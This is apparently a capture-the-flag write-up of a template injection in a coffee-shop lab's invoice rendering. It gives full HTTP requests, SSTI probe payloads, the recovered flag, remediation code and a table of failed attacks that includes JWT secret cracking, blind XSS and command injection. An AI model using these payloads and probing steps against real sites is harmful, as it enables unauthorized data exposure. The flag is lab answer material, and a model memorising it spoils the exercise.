CafeClub: Server-Side Template Injection in Invoice Rendering
Executive Summary
CafeClub is a coffee storefront built on a React/MUI single-page frontend and an Express (Node.js) API, with authentication via an HS256 JWT bearer token held in localStorage. The order invoice at GET /api/orders/:id/invoice is generated server-side as plain text, and the customer-supplied delivery_instructions field is compiled through a lightweight {{ }} template engine before being written into that invoice. An authenticated user who places an order with delivery_instructions set to a reference to the in-context order object has that reference resolved and rendered back in the invoice response. This is a server-side template injection.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Server-side template injection in delivery_instructions rendered by the invoice |
Medium | 4.3 | CWE-1336, CWE-200 | POST /api/checkout → GET /api/orders/:id/invoice |
The flag-bearing finding is F1. Sending delivery_instructions = {{order}} renders number, date, total in the invoice, and {{order.total}} renders 21.99, confirming the engine resolves references against a server-side order context. A BugForge tripwire appends a line to the invoice on any resolving reference, disclosing the flag bug{Kiur0xqYntxiguDRO4HeE7tsepPhT7j9}. The demonstrated read is limited to the attacker’s own order fields, which holds the rating at Medium; the engine evaluated no arithmetic and supported no block helpers, so remote code execution was not demonstrated and the finding is not rated higher.
Objective
Identify and exploit the intended vulnerability in the CafeClub lab and recover the flag.
Scope / Initial Access
# Target Application
URL: https://lab-1791916649841-o2dbc6.labs-app.bugforge.io
# (ephemeral instance, ~40 min TTL; the bundle and behavior are identical across rotations)
# Auth details
# Open self-registration: POST /api/register returns an HS256 JWT.
# Token claims: {id, username, iat} (no exp). Carried as Authorization: Bearer <jwt>.
# Test account: ssti_t1 (id 5), role "user". Prices in EUR.
Registration is open and self-service: any visitor can create an account and immediately hold a valid bearer token for the authenticated endpoints. The invoice and checkout endpoints require that token.
Reconnaissance: Reading the Order and Invoice Flow
The frontend ships a live source map (main.7379625c.js.map), which exposed the full client source and the API shape. The order flow is cart, then checkout, then an invoice endpoint that returns a server-generated text/plain document.
Facts that shaped the test plan:
GET /api/orders/:id/invoicereturns a server-generated plain-text invoice, not a client-rendered view. TheCustomerandShip tolines are read live from the profile at render time (an updated profile name shows up on an old order’s invoice), and theDelivery instructionsline reflects thedelivery_instructionsstored at checkout.- The
delivery_instructionsfield is validated server-side: non-string or over 1000 characters returns400 "Delivery instructions must be text under 1000 characters". An empty value renders asNone supplied. - A background job advances order status (
pending → confirmed → roasting → shipped → delivered) on a roughly two-minute cron, independent of instruction content. No part of that lifecycle fetches or renders the instructions through a browser (see Failed Approaches). - The creator hints pointed squarely at this field and at template syntax: “Make sure you leave some delivery instructions”, then “
{{might help”, then “the payload is quite specific to the object you’re injecting into”.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (Node.js) JSON API on AWS EC2 (us-east-2) |
| Frontend | React / MUI single-page app (bundle main.7379625c.js, live source map) |
| Auth | HS256 JWT bearer in localStorage.token; claims {id, username, iat}, no exp |
| Invoice | GET /api/orders/:id/invoice, server-generated text/plain, profile read live |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | No | Open self-registration, returns JWT |
/api/cart |
POST | Yes | Adds {product_id, quantity}; checkout requires a non-empty cart |
/api/checkout |
POST | Yes | Stores delivery_instructions (the template injection sink) |
/api/orders/:id |
GET | Yes | Ownership-scoped |
/api/orders/:id/invoice |
GET | Yes | Renders delivery_instructions; ?download=1 adds Content-Disposition only |
/api/profile/avatar/import |
POST | Yes | Server-side fetch of a supplied URL (incidental SSRF, see note below) |
Known Users
| Username | ID | Role |
|---|---|---|
| ssti_t1 | 5 | user |
Attack Chain Visualization
┌───────────────────────┐ ┌──────────────────────────┐ ┌─────────────────────────────┐ ┌──────────────────────────────┐
│ 1. POST /api/register │ │ 2. POST /api/cart │ │ 3. POST /api/checkout │ │ 4. GET /api/orders/7/invoice │
│ self-register │──▶│ product_id 4, quantity 1 │──▶│ delivery_instructions = │──▶│ engine resolves {{order}} │
│ → JWT (id 5) │ │ → non-empty cart │ │ {{order}} / {{order.total}} │ │ → rendered value + flag │
│ │ │ │ │ stored on order 7 │ │ bug{Kiur0x…T7j9} │
└───────────────────────┘ └──────────────────────────┘ └─────────────────────────────┘ └──────────────────────────────┘
Findings
F1: Server-side template injection in delivery_instructions rendered by the invoice
Severity: Medium
CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
CWE: CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
Endpoint: POST /api/checkout (sink) → GET /api/orders/:id/invoice (render)
Authentication required: Yes
Description
The delivery_instructions value supplied at checkout is compiled through a server-side {{ }} template engine when the invoice is generated, rather than being concatenated as inert text. The engine resolves references against a render context that exposes an order object: {{order}} renders the object’s keys and {{order.total}} renders a property value. The field is therefore a template injection sink.
The engine is a lightweight, variable-only interpolator that attempts a lookup only when the brace content is a bare identifier or dotted path. A path that resolves against the context renders its value ({{order}} renders the object’s keys, {{order.total}} renders 21.99); a well-formed identifier that is not present in the context renders empty (in the probe battery below, {{this}}, {{total_amount}}, {{id}}, {{user_id}}, {{status}}, {{delivery_instructions}}, and {{tracking_number}} all rendered empty); and content that is not a valid path, such as arithmetic ({{7*7}}) or block-helper tags ({{#with this}}...{{/with}}, which survive with the inner reference stripped), is passed through verbatim. That verbatim passthrough of arithmetic is why {{7*7}} probing looked like plain string concatenation. This behavior is inconsistent with a full engine such as Handlebars or Nunjucks (which support block helpers and would expose the usual code-execution gadgets); that identification is an inference from the observed outputs, not a confirmed engine fingerprint.
Impact
An authenticated user can read values from the server-side template render context back out of their invoice. As demonstrated this reached the in-context order object; the context was not enumerated further and no remote code execution was shown.
Reproduction
Starting state: a freshly registered account holding a bearer token. One detail of the captured session to flag up front: the profile full_name and address had been set, in a separate step, to arithmetic probes ({{7*7}}, {{6*6}}). The invoice reads those fields live at render time, so Step 4’s Customer and Ship to lines show them. They are off the critical path to the flag (which comes from delivery_instructions); a clean account shows its real name there.
Step 1: Register and obtain a token
POST /api/register HTTP/1.1
Host: lab-1791916649841-o2dbc6.labs-app.bugforge.io
Content-Type: application/json
{"username":"ssti_t1","email":"s1@x.com","password":"password","full_name":"S One","address":"1 S St","phone":"1"}
Response: 200 OK with {"token":"eyJ...","user":{"id":5,"username":"ssti_t1","role":"user",...}}. The token is carried in Authorization: Bearer on the following requests.
Step 2: Add a product to the cart
POST /api/cart HTTP/1.1
Host: lab-1791916649841-o2dbc6.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
{"product_id":4,"quantity":1}
Response: 200 OK {"message":"Item added to cart successfully"}. Checkout requires a non-empty cart.
Step 3: Check out with template references in delivery_instructions
POST /api/checkout HTTP/1.1
Host: lab-1791916649841-o2dbc6.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
{"points_to_use": 0, "use_gift_card": false, "card_number": "4444 4444 4444 4444", "card_expiry": "12/25", "card_cvc": "123", "delivery_instructions": "P1[{{this}}] P2[{{total_amount}}] P3[{{id}}] P4[{{user_id}}] P5[{{status}}] P6[{{delivery_instructions}}] P7[{{tracking_number}}] P8[{{order}}] P9[{{#with this}}{{total_amount}}{{/with}}]"}
Response: 200 OK {"message":"Order placed successfully","order_id":7,"total":21.99,...}. The probe battery is stored against order 7. (A single {{order}} is sufficient; the battery is shown to make the differential visible in one invoice.)
Step 4: Fetch the invoice
GET /api/orders/7/invoice HTTP/1.1
Host: lab-1791916649841-o2dbc6.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Response: 200 OK, Content-Type: text/plain:
CAFECLUB INVOICE
Order: 7
Placed: 2026-10-13 19:09:57
Customer: C{{7*7}}C
Ship to: A{{6*6}}A
1 x Brazilian Santos @ €21.99
Total paid: €21.99
Delivery instructions:
P1[] P2[] P3[] P4[] P5[] P6[] P7[] P8[number, date, total] P9[{{#with this}}{{/with}}]
Template reference: bug{Kiur0xqYntxiguDRO4HeE7tsepPhT7j9}
Thank you for shopping with CafeClub.
P8[{{order}}] resolved to number, date, total (the keys of the in-context order object), and the tripwire appended the Template reference: line with the flag. The same response shows all three behaviors at once: P8 resolves, P1 through P7 are well-formed identifiers absent from the context and render empty, and the arithmetic in the Customer and Ship to lines ({{7*7}}, {{6*6}}) together with the {{#with}} tags in P9 are not paths and are passed through verbatim.
Minimal payload isolation (each sent as the full delivery_instructions value, invoice checked):
{{order}} -> "number, date, total" (resolves; flag line appended)
{{order.total}} -> "21.99" (resolves; flag line appended)
{{total_amount}} -> (empty) (valid identifier, not on the order context; no flag)
{{7*7}} -> {{7*7}} (not a path, passed through; no flag)
{{this}} -> (empty) (root context not the order; no flag)
{{#with this}}x{{/with}} -> {{#with this}}x{{/with}} (no block helper; no flag)
plain text -> plain text (literal; no flag)
Only a valid named reference to the order object resolves. This is why arithmetic probes looked inert for the bulk of the engagement (see Failed Approaches).
Remediation
Fix 1: Do not compile user input as a template. Treat delivery_instructions as data and concatenate it as a literal string; never pass it to the template compiler.
// BEFORE (Vulnerable): user input is compiled by the template engine
const line = engine.render(order.delivery_instructions, { order });
invoice += `Delivery instructions:\n${line}\n`;
// AFTER (Secure): user input is inert text, never a template
invoice += `Delivery instructions:\n${order.delivery_instructions}\n`;
Fix 2: If a template must be used for the invoice, render a fixed template with user input as bound data, never as the template source.
// Compile a static, developer-owned template once; the user value is a value, not source.
const invoiceTemplate = engine.compile(STATIC_INVOICE_TEMPLATE);
const out = invoiceTemplate({ order, instructions: order.delivery_instructions });
Additional recommendations:
- Apply the same treatment to the
CustomerandShip tofields:full_nameandaddressare also written into the invoice and were only ever tested with arithmetic probes, so a valid context reference in those fields is a plausible second sink and should be confirmed closed. - Keep the server-side length and type validation already present on the field.
Incidental observation (not a numbered finding)
POST /api/profile/avatar/import performs a server-side fetch of a supplied URL and is a real but hardened, blind (image-only) server-side request forgery. It is not the flag path here and is already documented in a separate CafeClub writeup (cafe-club-ssrf), so it is not re-scored in this report.
OWASP Top 10 Coverage
- A03:2021 Injection: Customer-supplied
delivery_instructionsis interpreted as a server-side template expression rather than data, which is a template injection and a member of the injection class. - A04:2021 Insecure Design: Rendering a free-text customer field through a template engine that is handed the live server context is an insecure design choice for what is meant to be a printed note on an invoice.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Proxy capture and replay of the cart, checkout, and invoice requests; kill-chain export |
| curl | Initial account registration |
| interactsh / webhook.site | Out-of-band listeners for the blind XSS, SSRF, and command-injection tests (all negative) |
References
- CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- OWASP: Server-Side Template Injection
- PortSwigger: Server-side template injection
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Arithmetic SSTI ({{7*7}}, ${7*7}, <%=7*7%>, #{7*7}) in delivery_instructions |
Rendered literally in the invoice | The engine evaluates no arithmetic and does not treat {{7*7}} as a path, so it is passed through verbatim and looks like plain concatenation. This was the false negative that cost most of the session. |
Block helper {{#with this}}...{{/with}} |
Rendered literally, inner expression stripped | No block-helper support; the engine is a variable-only interpolator. |
{{this}} (root context reference) |
Rendered empty | The root context is not the order object; a valid named reference (order) is required. |
Arithmetic probes in profile full_name / address (also on the invoice) |
Rendered literally | Only arithmetic was tried; a valid context reference was never tested, so this remains a plausible, unconfirmed second sink. |
| Command injection (shell metacharacters) at checkout and invoice generation | No out-of-band hit, baseline timing | The field is not passed to a shell. |
Time-based SQL injection in delivery_instructions |
No timing delta on insert or read | The value is stored and read through a parameterized query, not interpolated into SQL. |
Server-side request forgery via a bare URL in delivery_instructions |
No out-of-band hit at checkout | The field is not fetched server-side at checkout. |
| Blind XSS rendered by a courier / fulfilment process | Two runs across the full order lifecycle (out-of-band beacon plus in-app review exfil), zero interactions | No browser renders the instructions during fulfilment; status is advanced by a cron, not a headless browser. |
Order / invoice IDOR, cross-user, including ?download=1 |
404 on every cross-user read |
The order query is ownership-scoped by the token’s user id. |
Verb tampering (PUT / PATCH / DELETE on /api/orders/:id) |
404, no state change |
No write handlers exist on the route. |
Invoice representation flip (Accept, format, template, view params) |
Always text/plain, body unchanged |
The invoice has a single representation; the handler ignores these parameters. |
download parameter as filename or path |
Only =1 toggles Content-Disposition (strict ===1) |
It is an attachment flag, not a filename or path argument; no reflection or traversal. |
JWT alg:none, and HS256 secret cracking (curated list plus 2M rockyou) |
Rejected / not found | alg:none is rejected; the signing secret is not in the tried wordlists. |
Profile mass-assignment (role, points, is_admin) |
Silently ignored | The update is whitelisted to allowed fields. |
Tags: #ssti #template-injection #bugforge #cafeclub #webapp #cwe-1336
Document Version: 1.0
Last Updated: 2026-10-14